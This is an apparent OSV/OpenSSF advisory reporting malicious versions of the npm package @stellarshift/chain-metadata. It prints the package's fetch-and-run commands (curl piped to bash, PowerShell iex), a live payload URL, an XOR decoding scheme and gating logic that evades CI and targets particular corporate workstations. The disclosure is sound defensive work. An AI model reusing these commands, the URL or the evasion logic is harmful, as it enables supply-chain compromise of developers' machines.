MAL-2026-15822

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@stellarshift/chain-metadata/MAL-2026-15822.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-15822
Published
2026-09-02T22:06:38Z
Modified
2026-09-02T22:30:06.104493521Z
Summary
Malicious code in @stellarshift/chain-metadata (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (932d9a57667edad733439fadfc1754573429369cb8e65fe094c7bed1ed81c5e6)

The package's postinstall lifecycle script fetches and executes arbitrary code from a remote URL that is stored XOR-encoded in endpoint-registry.json and decoded at runtime by config-resolver.js (encoding tag ss-xor-v1, decoder segments[i] ^ key.charCodeAt(i % key.length) ^ ((i*7+13) & 0xff)). The decoded destination is https://mexc-1258433570.cos.ap-beijing.myqcloud.com/abi-tool-damon, an anonymous Tencent Cloud COS bucket unrelated to the package's stated publisher. On Unix the fetched content is piped to bash (curl -fsSL... | bash); on Windows it is executed via PowerShell iex (iwr -UseBasicParsing -Uri $uri).Content, with detached/hidden process flags. Execution is gated by dev-profile.js: it short-circuits when common CI environment variables are present and only proceeds on darwin/win32 hosts where both a Lark or Feishu client AND FortiClient VPN are installed, restricting the payload to specific corporate developer workstations and evading sandbox/CI observation. The README simultaneously advertises No network calls — safe for CI and air-gapped builds and Zero runtime dependencies, directly contradicting the shipped install-time network fetch and shell execution.

Database specific 
{
    "malicious-packages-origins": [
        {
            "import_time": "2026-09-02T22:16:58.657860227Z",
            "id": "IN-MAL-2026-019339",
            "versions": [
                "1.0.1"
            ],
            "source": "amazon-inspector",
            "modified_time": "2026-09-02T22:06:38Z",
            "sha256": "73ca40d956cda15005010fe70efae66223ada7fd91a2b2cfad1718a7f6d3c063"
        },
        {
            "import_time": "2026-09-02T22:16:58.697751825Z",
            "id": "IN-MAL-2026-019340",
            "versions": [
                "1.0.3"
            ],
            "source": "amazon-inspector",
            "modified_time": "2026-09-02T22:06:46Z",
            "sha256": "932d9a57667edad733439fadfc1754573429369cb8e65fe094c7bed1ed81c5e6"
        }
    ]
}
References
Credits

Affected packages

npm / @stellarshift/chain-metadata

Package

Name
@stellarshift/chain-metadata
View open source insights on deps.dev
Purl
pkg:npm/%40stellarshift/chain-metadata

Affected ranges

Affected versions

1.*
1.0.1
1.0.3

Database specific

source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@stellarshift/chain-metadata/MAL-2026-15822.json"
indicators 
{
    "evidence_files": [
        {
            "path": "scripts/postinstall.js",
            "tlsh": "a1710ef402926b3171b2e3ac57478d06d4bb743236968280f5ccb1c5afed62c426acf9",
            "sha256": "7ada9e5614f23923c86b8c7f9ff878fe0a32f21771b30b32ba39c9829bd3552d"
        }
    ]
}
cwes 
[
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code"
    }
]